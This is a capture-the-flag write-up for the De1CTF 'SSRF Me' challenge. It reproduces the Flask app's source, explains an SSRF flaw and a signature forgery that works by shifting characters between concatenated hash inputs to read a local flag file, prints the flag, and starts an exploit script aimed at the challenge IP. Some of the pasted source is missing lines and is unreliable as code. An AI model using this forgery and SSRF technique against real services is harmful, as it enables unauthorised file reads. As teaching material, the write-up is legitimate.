Rating: 5.0

# SSRF Me - Writeup
##### By *sh4d0w58*

### Description:

>SSRF ME TO GET FLAG. [http://139.180.128.86/](http://139.180.128.86/)

### Solution:

On visiting [http://139.180.128.86/](http://139.180.128.86/) we are given the source code of the Flask App that we are interfacing with:


#! /usr/bin/env python
#encoding=utf-8
import socket
import hashlib
import urllib
import sys
import os
import json

sys.setdefaultencoding('latin1')
secert_key = os.urandom(16)

def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)):
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
param = urllib.unquote(request.args.get("param", ""))
if(waf(param)):
return "No Hacker!!!!"

@app.route('/')
def index():

def scan(param):
socket.setdefaulttimeout(1)
try:
except:
return "Connection Timeout"

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)


Looking over it, we see that visiting "/De1ta" will execute the challenge() function and construct a new Task object with an action, param, and sign that we provide as cookies and a GET parameter. (Also our ip is passed to it). Then it will call the Exec() method of the object and return the json result.




Inside Exec(), checkSign() is called. This function checks whether the sign value is the same as the value generated by getSign(). We have to pass this check to move on to the rest of Exec().


def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


getSign() performs an md5 hash with secret_key + param + action. secret_key is a random value that is generated by the App, so we don't know it.


def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


So now we need a way to generate a valid sign. Making a request to /geneSign will generate a sign value for us, however it will only allow us to pass it the param value and the action value will be set to "scan".


@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


Now that we can generate a valid sign value, we can pass the check and move on to the rest of Exec(). The first if case checks if "scan" is in action. Notice, it does not check whether action == "scan", only whether it contains it. This will be important later. The "scan" action will make a request with the value of param and write it to a file.


if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200


The second if case performs the same check with "read". This action will read the file that we just wrote the result of "scan" to.


f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200


Going back to the "scan" case, we see the function scan() is called with our param. This function will use urllib.urlopen() to perform the request and this is where the SSRF vulnerability is.


def scan(param):
socket.setdefaulttimeout(1)
try:
except:
return "Connection Timeout"


To read local files we could use the "file://" protocol, however any param value that starts with "file" or "gopher" is blocked in the challenge() function. I believe there are multiple ways to get past this, but I noticed that starting param without a protocol would attempt to read files from the file system. The challenge hint says...

>flag is in ./flag.txt

This will allow us to read the flag into a file, but we will not be able to read it without a valid sign with the action **including** "read". If we can generate a sign for the action as "readscan", we can perform the scan and read the result in one go.

Notice, geneSign() will perform an md5 hash of secret + param + action so we can pass the value of param as "flag.txtread" (the value of action will be "scan") and generate the *same* hash as if we pass param as "flag.txt" and action as "readscan".

"flag.txtread"+"scan" == "flag.txt"+"readscan"

You could also use a length extension attack, but this way is more simple.

So our exploit is complete.

We get the flag "de1ctf{27782fcffbb7d00309a93bc49b74ca26}"

### Full Code:


import requests

def geneSign(param):
return requests.get("http://139.180.128.86/geneSign?param="+param).text

realParam = "flag.txt"